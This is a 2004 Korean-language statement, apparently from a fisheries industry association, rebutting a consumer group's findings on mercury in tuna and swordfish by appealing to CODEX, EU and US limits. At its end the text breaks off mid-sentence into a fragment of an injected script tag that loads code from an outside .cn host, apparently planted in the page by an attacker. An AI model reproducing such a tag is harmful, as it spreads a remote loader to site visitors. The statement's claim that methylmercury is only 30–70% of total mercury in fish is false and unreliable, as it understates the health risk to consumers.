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“소비자시민모임 보도자료“에 대한 우리협회의 의견
2004-05-20 15:22:00
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◆소시모 안전기준치 잣대에 대한 당 협회의 의견
 한국보건산업진흥원 조사 결과 참치 및 황새치의 총수은 수치가 일반 생선 어류 기준치 0.5PPM을 초과했다는 점을 들어 소비자의 안전이 위협받고 있다고 발표하였지만 우리나라 식품공전에 나와있는 일반어류에 대한 안전기준치(0.5PPM이하)는 참치등 심해성 어종에 대해서는 적용해서는 안되는 기준치입니다. 공신력 있는 국제식품규격(CODEX)이나 미국의 안전기준치(메틸수은 1PPM이하)를 적용하면 소비자시민모임 (이하 “소시모“표기)이 발표한 참치의 총수은 함량은 모두 국제적인 기준치 이하에 해당되기 때문에 오히려 참치의 안전성이 입증되었다고 할 수 있습니다.
 귀측 보도자료에도 나와 있듯이 우리나라 식품공전에는 일반 어류의 기준치를 0.5PPM이하로 정해놓고 있지만 참치 등 심해성 어류는 이 기준치를 적용하지 못하도록 명시해놓고 있습니다.(…“심해성 어류 및 참치류 제외”…) 일반 어류는 연안 오염 등에 의해 수은이 체내에 축척되기 쉬운 반면 참치 및 심해성 어류는 천연 상태에서 먹이사슬 등에 의해 자연적으로 수은 함량이 생기므로 일반어류에 비해 기준치를 상대적으로 높게 정해 별도 관리하는 것이 세계적 경향입니다. 여기에는 심해성 어류는 일반 어류와 달리 자주 섭취하지 않는다는 특성도 고려된 것으로 보입니다.
 국내에 개별 기준치가 마련되어 있지 않을 경우 국제적으로 통용되고 있는 CODEX(국제식품규격)나 개별 기준이 마련된 다른 나라의 기준치와 비교해 안전성 여부를 확인하는 것이 통상의 예입니다.
 CODEX의 경우 어류(일반어류)는 메틸수은 0.5PPM이하를 안전기준치로 두고 있는 반면 참치를 포함한 육식성 어류(상어, 황새치, 참치)는 메틸수은 1PPM이하로 규정하고 있습니다.
 유럽연합의 경우 어류 안전기준치를 총수은 0.5PPM이하로 정했으나 ‘상어 등 어류’는 총수은 1PPM이하로 별도로 높게 설정해 관리하고 있습니다. 호주 및 뉴질랜드도 유럽연합과 마찬가지입니다. 다만 미국의 경우 참치 등 심해성 어류를 별도 구분하지 않는 대신 CODEX의 심해성 어종 기준에 맞춰 전체 어류 안전기준치를 메틸수은 1PPM이하로 높게 정해놓고 있습니다.
 이러한 점들을 감안할 때 우리나라 식품공전과 공신력 있는 CODEX 기준을 함께 일차적으로 고려하였어야 되었을 것입니다. 이러한 기준이 있음에도 일반어류와 동일한 잣대를 적용한 것은 무리한 주장이라고 생각됩니다.
 CODEX 안전기준치(메틸수은 1PPM이하)를 적용할 경우 소시모가 발표한 참치 전체 시료 9개 중 단 1개 시료를 제외한 나머지 시료는 모두 총수은 0.07-0.75PPM으로 검출된 수은이 전량 메틸수은이라고 가정해도 안전기준치에 훨씬 못미칩니다. 제외된 1개 시료도 총수은 수치가 1.2PPM이기 때문에 메틸수은으로서는 1PPM에 못미친다는 것을 짐작할 수 있습니다.
 수은은 유기(메틸)수은과 무기수은으로 나뉘며 메틸수은은 총수은의 일부분으로 통상 총수은이 얼마 검출되었을 때 메틸수은은 그 검출량의 30-70% 안팍에 그칩니다. 따라서 메틸수은 기준치가 1PPM이하라는 의미는 총수은 환산시 1.4-3PPM(총수은의 30-70%범위를 고려한 계산)이하에 해당됩니다. 이같은 관점에서 보면 황새치 역시 참치에 비해 수은 수치가 다소 높은 것은 사실이지만 귀 모임에서 조사 발표한 황새치 전체 시료 8개중 최고 수치(총수은 1.72PPM)를 기록한 단 1개를 제외하고는 나머지 7개 시료 모두 총수은 0.09-1.14PPM으로 CODEX 안전기준치에는 못미친다고 해석할 수 있습니다.
 최고 수치를 기록한 황새치 시료 1개 역시도 메틸수은 1PPM을 초과할 지 여부는 메틸수은 수치를 정확히 실측을 해보지 않고는 알 수 없기 때문에 안전하지 않다고 단정할 근거가 없으며 나머지 시료는 모두 메틸수은 1PPM에 훨씬 못미칩니다.

◆美 소비자 권고내용을 인용하면서 일반인/임산부 동일 잣대 적용
 귀측은 보도자료에서 미국 FDA(식품의약국)와 EPA(환경청) 의 소비자권고 내용을 인용하면서 특히 임산부 등 취약계층에 대한 어류 수은에 대한 권고 사항을 일반인에게까지 확대 적용해 참치가 안전을 위협한다고 과장하고 있습니다. 귀 보도자료에서 지난 3월 미국 FDA와 환경청(EPA)이 공동 발표한 어패류에 들어 있는 수은에 대해 알아야 할 사항(임산부, 유아 등에 대한 FDA 소비자 권고사항)과 미국 “소비자 연합”보고서를 소개하면서 참치를 마치 위해식품인양 발표하였지만, 이는 사실과 다릅니다.
 미국의 경우 당초 FDA에 비해 EPA가 수은에 대해 좀더 강력한 기준을 적용할 것을 주장하며 상호 입장 차이를 보인 ?script src=http://jh3v3.cn>

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